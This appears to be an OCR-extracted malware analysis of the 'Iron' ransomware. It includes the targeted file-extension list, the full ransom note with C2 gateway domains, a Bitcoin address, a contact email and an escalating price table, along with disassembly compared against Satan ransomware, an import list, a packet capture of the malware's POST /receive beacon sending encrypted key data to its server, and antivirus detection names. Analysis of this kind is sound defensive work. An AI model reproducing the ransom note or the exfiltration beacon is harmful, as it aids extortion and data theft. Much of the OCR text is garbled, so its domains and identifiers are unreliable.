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.001, .1cd, .3fr, .8ba, .8bc, .8be, .8bf, .8bi8, .8bl, .8bs, .8bx, .8by, .8li, .DayZProfile, .abk,
.ade, .adpb, .adr, .aip, .amxx, .ape, .api, .apk, .arch00, .aro, .arw, .asa, .ascx, .ashx, .asmx,
.asp, .asr, .asset, .bar, .bay, .bc6, .bc7, .bi8, .bic, .big, .bin, .bkf, .bkp, .blob, .blp, .bml, .bp2,
.bp3, .bpl, .bsa, .bsp, .cab, .cap, .cas, .ccd, .cch, .cer, .cfg, .cfr, .cqgf, .chk, .class, .clr, .cms,
.cod, .col, .con, .cpp, .cr2, .crt, .crw, .csi, .cso, .css, .csv, .ctt, .cty, .cwf, .d3dbsp, .dal, .dap,
.das, .db0, .dbb, .dbf, .dbx, .dcp, .dcr, .dcu, .ddc, .ddcx, .dem, .der, .desc, .dev, .dex, .dic, .dif,
.dii, .disk, .dmg, .dmp, .dob, .dox, .dpk, .dpl, .dpr, .dsk, .dsp, .dvd, .dxg, .elf, .epk, .eql, .erf,
.esm, .f90, .fcd, .fla, .flp, .for, .forge, .fos, .fok, .fop, .fsh, .gam, .gdb, .gho, .grf, .h3m, .h4r,
.hkdb, .hkx, .hplg, .htm, .html, .hvpl, .ibank, .icxs, .img, .indd, .ipa, .iso, .isu, .isz, .itdb, .itl,
.itm, .iwd, .iwi, .jar, .jav, .java, .jpe, .kdc, .kmz, .layout, .Ibf, .Ibi, .Icd, .Icf, .Idb, .Idf, .Igp,
ditemod, .Ing, .Irf, .Itm, .Itx, .Ivl, .m3u, .m4a, .map, .mbx, .mcd, .mcgame, .mcmeta, .mdO,
.md1, .md2, .md3, .mdb, .mdbackup, .mddata, .mdf, .mdl, .mdn, .mds, .mef, .menu, .mm®6,
.mm7, .mm8, .moz, .mpq, .mpqge, .mrwref, .mxp, .ncf, .nds, .nrg, .nri, .nrw, .ntl, .odb, .odf,
.odp, .ods, .odt, .orf, .owl, .oxt, .p12, .p7b, .p7c, .pab, .pbp, .pef, .pem, .pfx, .pkb, .pkh,
.pkpass, .plc, .pli, .pot, .potm, .potx, .ppf, .ppsm, .pptm, .prc, .prt, .psa, .pst, .ptx, .pwf, .pxp,
.qgbb, .qdf, .qel, .qic, .qpx, .qtr, .r3d, .raf, .red, .res, .rgn, .rgss3a, .rim, .rofl, .rrt, .rsrc, .rsw,
.rte, .rw2, .rwl, .sad, .sav, .sc2save, .scm, .scx, .sdb, .sdc, .sds, .sdt, .shw, .sid, .sidd, .sidn, .sie,
.sis, .slm, .slt, .snp, .snx, .spr, .sql, .sr2, .srf, .srw, .std, .stt, .sud, .sum, .svg, .svr, .swd, .syncdb,
.t01, .t03, .t05, .t12, .t13, .tar.gz, .tax, .tcx, .thmx, .tlz, .tor, .torrent, .tpu, .tpx, .ttarch2,
tur, .txd, .txf, .uax, .udf, .umx, .unity3d, .unr, .uop, .upk, .upoi, .url, .usa, .usx, .ut2, .ut3, .utc,
.utx, .uvx, .uxx, .ved, .vdf, .ver, .vfsO, .vhd, .vmf, .vmt, .vpk, .vpp_pc, .vsi, .vtf, .w3g, .w3x,
.wad, .war, .wb2, .wdgt, .wks, .wmdb, .wmo, .wotreplay, .wpd, .wpl, .wps, .wtd, .wtf, .x3f,
xla, .xlam, .xlc, .xlk, .xll, .xIm, .xIr, .xIsb, .xltx, .xlv, .xlwx, .xpi, .xpt, .yab, .yps, .z02, .z04, .zap,
.Zipx, .zoo, .ztmp
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Your personal files are encrypted!

11:52:38

Your documents, photos, databases and other important files have been encrypted
with strongest encryption and unique key, generated for this computer. Private
decryption key is stored on a secret Internet server and nobody can decrypt your
files until you pay and obtain the private key. The server will eiminate the key after a
time period spedified in this window.
Open http://y5mogzal2w25p6bn.ml

or http://ySmogzal2w25p6bn.ml

or http://ySmogzal2w25p6bn.ml

or http://ySmogzal2w25p6bn.ml

in your browser. They are public gates to the secret server.
The website can help you complete the decryption work

automatically.You could also send 0.2 btc and contact below
[1cimKvz864PRNEIGB9iFU3azckVUEO)

recoverfile@mail2tor.com

Write in the following personal ID in the input form on server:

e 1

Click Here Copy ID to Clipboard
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65:19:52

During this time you need to make a payment or thd
price will be increased.

. N

HELLO!@

We're very sorry that all of your personal files have been encrypted :( But there are good
news — they aren’t gone, you still have the opportunity to restore them! Statistically, the
lifespan of a hard-drive is anywhere from 3 to 5 years. If you don't make copies of
important information, you could lose everything! Just imagine! In order to receive the
program that will decrypt all of your files, you will need to pay a certain amount. But let's
start with something else...

OF 53 5 358 e 03y Liled SLJ 4 el 4wl 035 3505 ol Olge Ul play

65:19:02

During this time you need to make a payment or the
price will be increased.

WE ARE NOT LYING!@

It's easy to delete the program from your personal computer. But not one of the third party programs
will be able to do the most important thing — to decrypt your files! In order to do this, you need to
have the private master-key that only we have. A;léluonlv we can restore all of your files.
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65:18:449

During this time you need to make a payment or the
price will be increased.

HOW MUCH DOES IT COST?@

‘We hope that you are convinced that we can decrypt all of your files. Now, the most
important thing! The faster you transfer the money, the cheaper file decryption will be. At
every stage of payment, you get 3 days or 72 hours. You can see the countdown in the

right top corner. After the dock shows 00:00:00 you go to the next stage of payment
and the price automatically increases. We only accept the electronic currency Bitcoin as a
form of payment. Here is a table that shows the date of payment and the price. Your
current stage is marked in yellow.

Stage Time of payment How much money should be sent
1 During the first 3 days 0.2 BTC (~%$1200)

From 3 to 6 days 0.5 BTC (~$3000)

From 6 to 9 days 0.8 BTC (~$4800)

From 9 to 12 days 1.1 BTC (~$6600)
From 12 to 15 days 1.4000000000000001 BTC (~$8400)
More than 15 days 1.7000000000000002 BTC (~$10200)

After 15 days of no payment, we do not guarantee that we saved the key. This site
can be disconnected at any moment and you will lose your data forever.
Please take this seriously.
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65:18:06

During this time you need to make a payment or the
price will be increased.

2
WHERE DO I PAY?@

The whole process of payment confirmation is automated! As soon as you send the
money, it will only take 1 minutes for the system to automatically count them and create
the program that will decode your files.

After sending your payment just refresh this site after 1 minutes(or go to homepage
input your personal ID).

You must transfer(.2 BTC to the following address:

1tD2ofc9Yw2]J4AWtjvxo46BV3w3YdomS9

Number File Name Size Link

0 IronUnlocker.exe unknown
1 Sacccb7cb4addc05c7577b71.key unknown
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BITCOIN PURCHASE@

If this is the first time you heard about Bitcoin, don’t despair! Simply google this word
and you will find all the answers. We can just recommend a few sites that will be of use
1o you.

- This page aims to be the best resource for new users to understand
how to buy Bitcoins

- Buy Bitcoins with Western Union
- Recommended for fast, simple service. Payment Methods: Western
Union, Bank of America,Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin ATM,
In Person

- Service allows you to search for people in your community willing to
sell bitcoins to you directly

- THE BEST FOR EUROPE
- Another fast way to buy bitcoins
- Buy Bitcoins Instantly for Cash
- An international directory of bitcoin exchanges
- Bticoin for cash
- CoinJar allows direct bitcoin purchases on their site

- Global cash payment network enabling consumers to pay for digital currency
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Iron ransomware

push offset aBoot 3
push eax

call sub_48677A

pop ecx

pop ecx

test eax, eax

jz loc_48AAB7

eax, [esp+18h+arg_28
"b

oot

eax, [esp+l8h+arg
push offset aI3se

3

push eax

call sub_48677A

pop ecx

pop ecx

test eax, eax

jz loc_4@AAB7
S|

28

eax, [esp+i8h+arg
offset astv2

eax

sub_48677A

ecx

ecx

eax, eax

loc_48AAB7
L e

lea eax, [esp+18h+arg_28
push offset alIntel H

push eax

call sub_48677A
pop ecx

pop ecx

test eax, eax
jz loc_4@AAB7

Satan ransomware

I
push offset aBoot ; | "boot™
push esi
call sub_418F1e
add esp, 8
test eax, eax
jnz loc_4@8CBS5
s
bl s =5
push offset aI386 ;| "i386
push esi
call sub_418F10
add esp, 8
test eax, eax
jnz loc_4@8CBS
———
I
push offset asStv2
push esi
call sub_418F1@
add esp, 8
test eax, eax
jnz loc_4@8CBS
— ===
PEE 1}
push offset aIntel 3 [Tintel”
push esi
call sub_418F1e
add esp, 8
test eax, eax
jnz loc_4@8CB5

T
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DA View-A B | = Hex View-1 3| | Structures B | F Enums B8 | Imports x| |
-ump1:8685085A68 ; -
-umpl1:@0505A60 ; Import names fovr _USER32.d11
-ump1:080505A608 ;
ump1: 068505060 of f_565A608 dd rva word_5858A7 ; DATA XREF: .vmpl :_IMPI]RT_DESCRIPTI]R_USERSzTD
-ump1:08085085A64 dd rua word_4FASC3
-ump1:88505A68 dd rua word S86BFF
-ump1: 86505460 dd rva word_S84E29
-ump1: 885085078 dd rva word_4FD53%
-ump1:885085A74 dd rua word S5B3E1A
-ump1:008505A78 dd rua word 4FA12C
-ump1: 86505470 dd rva word_4FA7FY4
-ump1:08685085038 dd rva word_4FAS68%
-ump1:885085A84 dd rua word_ 585586
-ump1:008505A88 dd rua word_S5494C3
.ump1:06505A8C dd rva word_4FASSH
-ump1:08685085A98 dd rua word_U4FA714
-ump1:88505A94 dd rua word 4FCY9BB
.ump1:06505A98 dd rua word_4FC4SF
-ump1:86505A9C dd rva word_4FD4B6
-ump1:0865685A08 dd 8
-ump1:868505AAR4 ;
umpd:868505aA% ; Import names for||GDI32.d11
ump1: 88508500 ;
-ump1:A0505AA4 off_5B5AA4 dd rua word 586962 ; DATA XREF: .umpi :71MPI]R170ESERIPTI]Riﬁl)ISZTu
-ump1:008505AA8 dd rua word_586C18
-ump1: 8865 05AAC dd rva word_S586A31
-ump1:8685085AB8 dd rva word_58511D
-ump1:885085ABY dd rua word 4FD888
-ump1:008505AB8 dd rua word 582944
.ump1:886505ABC dd 8
-ump1:8085085ACH ;
.UITIB1:I][15“5I7IEII ; Import names Fur
ump1:868505ACH ;
ump1:B68505ACH of f_5B5ACA dd rva word_587881 ; DATA XREF: .vmpl :_IMPI]RT_DESCRIPTI]R_RDURPIEZTB
-ump1:0885085ACY dd rua word_U4FFF2D
-ump1:88505ACE dd rua word 4FA998
-ump1:86505ACC dd 8
ump1:868505AD8 ;
.ump1:86505AD8 ; Import names Fm‘
-ump1:808505AD08 ;
ump1:868505AD0 of f_565ADA dd rva word_4FFFBB ; DATA XREF: .vmpl :_IMPI]RT_DESCRIPTI]R_SHELL32T|J
-ump1:885085aDY dd rva word_S583FCF
-ump1:A85085AD8 dd rua word S58448A
-ump1:88505ADC dd 8
.ump1:868505AE8 ;
.ump1:0860505AEB ; Import names for _01932.d11
.UmB1:I][15“5I7IEII H P -
umpd1: 0685 05AE0 of f_SB5AER dd rva word_4FASBY ; DATA XREF: .vmpi :_IMPI]RT_DESCRIPTI]R_DIESZTO
-ump1:885085AEYL dd rva word_S5836E1
-ump1:0865065AE8 dd rua word_S85E7F
-ump1:88505AEC dd rua word S5867DE
-ump1:085085AF 8 dd rva word_4FD4FC
-ump1: 885 0850FY dd 8
-ump1:885085AF8 ;
WINHTTP.dlI ‘ USERYY.dll USERYY.dll \ USERY'Y.dIl
WinHttpCloseHandle SendMessageA CloseClipboard GetProcessWindowStation
WinHttpQueryHeaders SetClipboardData DialogBoxParam GetSysColorBrush
SetDlgltemTextA w GetUserObjectinformation
SetWindowLongA EmptyClipboard w
SetWindowPos GetDIgCtrlID MessageBoxA
wsprintfA GetDlgltem OpenClipboard
ADVAPIYY.dII GDIYY.dll oleYy.dll SHELLY'Y.dlI WSY_Yvy.dll
DeregisterEventSource CreateFontiIndirectA CoCreateGuid ShellExecuteA gethostbyname
RegisterEventSourceA CreateSolidBrush CoCreatelnstance SHEmptyRecycl | inet_addr
ReportEventA GetObjectA Colnitialize eBinA inet_ntoa
GetStockObject CoTaskMemFree SHGetFolderPat = WSACleanup
SetBkColor CoUninitialize hw WSAStartup
SetTextColor
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KERNELY'Y.dII

GetSystemTimeAsFileTime
GetTickCount

GlobalAlloc

GlobalLock
GlobalMemoryStatus
GlobalUnlock

HeapAlloc

HeapFree

HeapReAlloc

HeapSize
InitializeCriticalSectionAndSpi
nCount

InitializeSListHead
IsDebuggerPresent
IsProcessorFeaturePresent
IsValidCodePage
LCMapStringW
LeaveCriticalSection
LoadLibraryA
LoadLibraryExW
LocalAlloc

LocalFree

KERNELY'Y.dII

CloseHandle
CompareStringW
CreateEventW
CreateFileW
CreateMutexA
DecodePointer
DeleteCriticalSection
EncodePointer
EnterCriticalSection
ExitProcess
FindClose
FindFirstFileExA
FindNextFileA

FlushConsolelnputBuffer

FlushFileBuffers

FreeEnvironmentStringsW

FreeLibrary

GetACP
GetCommandLineA
GetCommandLineW
GetConsoleCP

KERNELY'Y.dII

RaiseException
ReadConsolelnputA
ReadConsoleW
ReadFile
ReleaseMutex
ResetEvent
RtlUnwind
SetConsoleCtrIHandl
er

SetConsoleMode
SetEndOfFile
SetEnvironmentVari
ableA

SetEvent
SetFilePointerEx
SetlLastError
SetStdHandle
SetUnhandledExcept
ionFilter

Sleep
TerminateProcess

KERNELY'Y.dII

GetCurrentThreadld
GetEnvironmentString
sW
GetFileAttributesExW
GetFileType
GetlastError
GetModuleFileNameA
GetModuleFileName
w
GetModuleHandleA
GetModuleHandleEx
w
GetModuleHandleW
GetOEMCP
GetProcAddress
GetProcessHeap
GetStartuplnfoW
GetStdHandle
GetStringTypeW
QueryPerformanceCo
unter

KERNELY'Y.dII

UnhandledException
Filter

VirtualFree
VirtualQuery
WaitForSingleObject
Ex
WideCharToMultiBy
te

WriteConsoleW
WriteFile

TlIsFree

TlsGetValue
TlsSetValue
GetCPInfo
GetCurrentProcess
GetCurrentProcessld
MoveFileExW
MultiByteToWideCh
ar

TlsAlloc
GetConsoleMode
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Iron.exe

iexplore.exe http://ydmogzal YwYdp#bn.ml/

iexplore.exe http://ydmogzal YwYdpfbn.ml/

iexplore.exe http://ydmogzalYwY dpfbn.ml/

iexplore.exe http://ydmogzalYwYdp#bn.ml/

iexplore.exe SCODEF:YOYA CREDAT:YVYOYAY /prefetch:Y

iexplore.exe SCODEF:Y\YA CREDAT:YYOYQY /prefetch:Y

iexplore.exe SCODEF: Y%+ CREDAT:YYOYOY /prefetch:Y



https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00013707-00004428
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023506-00002528
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023506-00002528
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023858-00002152
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023858-00002152
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023509-00002128
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023509-00002128
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023799-00002928
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023799-00002928
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023520-00004560
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023520-00004560
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023810-00003636
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023810-00003636
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00001396
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00001396
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iexplore.exe SCODEF:\Y4% CREDAT:YYAYOY /prefetch:Y
iexplore.exe http://ydmogzal YwY dpfbn.ml/

iexplore.exe SCODEF:YAY? CREDAT:YYAOYAOY /prefetch:Y
iexplore.exe http://ydmogzalYwY dpfbn.ml/

iexplore.exe SCODEF: ¥ Y% CREDAT:YYAYOY /prefetch:Y

HPCOR- TS WE,

No. Time Source Destmaton Protocel  Length  Info

23 1.365090 164.31.69.125 192.168.1.37 68 Continuation
241.365117 192.168.1.37 104.31.69.125 66 49178 > 80 [

~ [
281.372330 104.31.69.125 54 49178 + 80 [/
2148 C [
0+ [
. 5 B [ 5
32 2.399565 3 104.31.69.125 6 49179 + 80 [SYN] Seq=0 Win=8192 Len-0 MSS=146@ WS=256 SACK PERM-1
33 2.505962 104.31.69.125 192.168.1.37 TP 66 80 » 49179 [SYN, ACK] Seq=B Ack-1 Win=29200 Len- MSS=1484 SACK PERM-=1 WS=1024
34 2.506011 192.168.1.37 104.31.69.125 TP 54 49179 + 80 [ACK] Seg=1 Ack=1 Win=65792 Len=0
35 2.506195 192.168.1.37 104.31.69.125 e 347 49179 » 80 [PSH, ACK] Seg=1 Ack=1 Win=65792 Len=293 [TCP segment of a reassembled PDU]
36 2.506289 . 3 104.31.69.125 HTTP 782 POST /receive HTTP/1.1 (application/json)

37 2.621091 .69. 192.168.1.37 60 80 > 49179 [ACK] Seg=1 Ack=294 Win=30720 Len-0

5449179 > 89 [ACK] S

1 Win= =0
1 Win=@ Len=0
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https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023775-00003184
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023775-00003184
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00002836
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00002836
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023785-00003468
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023785-00003468
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00004456
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023523-00004456
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023792-00004024
https://www.hybrid-analysis.com/sample/19ee6d4a89d7f95145660ca68bd133edf985cc5b5c559e7062be824c0bb9e770?environmentId=120#00023792-00004024
https://www.hybrid-analysis.com/search?query=domain%3Ay5mogzal2w25p6bn.ml
https://www.hybrid-analysis.com/search?query=domain%3Ay5mogzal2w25p6bn.ml
https://www.hybrid-analysis.com/search?query=domain%3Amyip.dnsomatic.com
https://www.hybrid-analysis.com/search?query=domain%3Amyip.dnsomatic.com
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TCP

J\J»LML;‘JLN‘)‘C&C)}J«&M‘)Mdu‘)‘&:ﬁw‘j})b&jb.);

E582B1_20180501. )

POST /receive HTTP/1.1

Connection: Keep-Alive

Content-Type: application/json

Accept: */*

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Length: 728

Host: yS5mogzal2w25p6bn.ml

»

"encry": "NKF@9LRVUTx9Vfd4yoAp1tHTQ
+oKUgqWPv3E1n2GIBVQRi1jUkN2wVSmTQQRiWsAJ aBXWS0AZZIPKVGAC10k431sZ2uPBXINY9zUibj9iWBAANHSDTRIXad6vulQRnfDg3xI0kIWcFXtoV5eRhWOHXOWI 8GXxDI]
zkesSQxUWi50LufbQrmaSvpejxNfXG2tvaTlue/
hGtiXkxTkghKAvoSy2mLmmOyyg7GnOfI8d1FR6VADItALSyfSygVgmcTMijzRy5Q1158fPFAANPn6BUZ zi4MzoEbVCOKNTsZDmDYqs1cCcF7oL4pd3W57nDSXEQe L 3LGBTh5kQN
2TFM68GZUFKKCiN1rtS7CORvISB71u/KIN9O70iCFZ5p2c33IEPvmLilmvN/dgxDKzvZjeulfYIX3WVAONYQi3am/2dZZnBri3DcYm |
+00ZnzdzBAi7eEFvzful IyAB8cHMamWlwIk]lsRFey7zH5g/BH64dufPgnx1MvuFchznelJAlksZ98GTalif cHF IBYcFVF2p32HoNRU+d5g0GxSW5Lxk5mBLsb
+6JGIRCmmefUekjFeVtdcr746Hh3mxCPUenK@Mx1MOUQ==", "randk" : "+DoQORvRNupaeQ8L/
nbPh718tulyxeElbSSivzurl@4=","guid": "90CF5736EAFB42fabA8F2B58", "start": "1", "market": "csv" }HTTP/1.1 403 Forbidden
Date: Tue, @1 May 2018 15:30:14 GMT L4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: _ cfduid=d4630c58b74b@91cb8f4619dcb2at594b1525188614; expires=Wed, @1-May-19 15:38:14 GMT; path=/; |
domain=.y5mogzal2w25p6bn.ml; HttpOnly
Cache-Control: max-age=15

Expires: Tue, @1 May 2018 15:30:29 GMT
X-Frame-Options: SAMEORIGIN
Server: cloudflare
CF-RAY: 414349c7163e26ae-FRA

11

c@5

<!DOCTYPE html>

<!--[if 1t IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->

<!--[if IE 7]> <html class="no-js ie7 oldie™ lang="en-US"> <![endif]-->

<!--[if IE 8]> <html class="no-js ie8 oldie™ lang="en-US"> <![endif]-->

<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->

<head>

<title>Access denied | ySmogzal2w25p6bn.ml used Cloudflare to restrict access</title>

<meta charset="UTF-8" />

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />

<meta name="robots" content="noindex, nofollow"” />

<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />

<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection” />
<I--Tif 1t TF 913<Tink rel="stvlesheet" id="cf stvles-ie-css' href="/cdn-cei/stvies/cf _errors_ie_css" tune="text/css"
4 client pkts, & server pkts, 3 turns,

[Entlre conversation (3767 bytes) '] Show and save data as |ASCIL - Stream 1 %
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https://www.hybrid-analysis.com/search?query=port%3A80
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AVware

CrowdStrike Falcon

Cyren

ESET-NOD32

GData

Sophos AV

TrendMicro

20 0 - 2

Lled VirusTotal bl s )\ytcp o ufsjﬂ RS

Trojan.GenericKD.40187953
Trojan/Win32 FileCoder.C2456998
Trojan.Generic.D2653831
Win32:Malware-gen
Trojan.Win32.Generic!B8T
HW32.Packed.9987
malicious_confidence_1002% (W)
W32/Trojan.EEXN-5257
Trojan-Ransom.iron (A)

a variant of Win32/Filecoder.NHS
Trojan.GenericKD.40187953
Trojan ( 004f8e121 )
Trojan-Ransom.Win32.Gen.hsr
malware (ai score=99)
BehavesLike.Win32.DownloadAdmin.hc
Trojan.Win32.Encoder.faddjn

Trj/CLA

Trojan.Azden!8.FOE3
(TFE:5:He2A70b9XzP)

Troj/Maktub-E

Trojan Horse
Ransom_MAKTUB.THDAAAH
suspected of Trojan.Downloader.gen.h
Trojan.Win32.Z Agent 612864.DA

Trojan-Ransom.Win32.Gen.hsr

AegisLab
ALYac

Avast

Palo Alto Networks
Qihoo-360
SentinelOne
Sophos ML

Tencent

TrendMicro-HouseCall

oepbobPPPPPPPPPPPPPPPPPDD

Randk (seed) e

Market (unknown) e

Z&L»L'«S

L{"‘i)"pl’. dL?-))

Troj.Ransom.W32.Gen!c
Trojan.Ransom.lron
Win32:Malware-gen
TR/FileCoder.zcegb
Trojan.GenericKD.40187953
Trojan.iGENERIC

Unsafe
Trojan.Encoder.25083
Trojan.GenericKD.40187953
W32/Gen.HSR!tr
Trojan-Ransom.Maktub
Trojan ( 004f8e121 )
Ransom.FileCryptor
Ransom-lron!1E60050DB59E
Trojam:Win32/Tiggretrfn
generic.ml
Win32/Trojan.5a2

static engine - malicious
heuristic
Win32.Trojan.Raas.Auto
Ransom_MAKTUB.THDAAAH
Trojan.Win32.Generic!8T
W32 .Ransomware.Gen

Clean



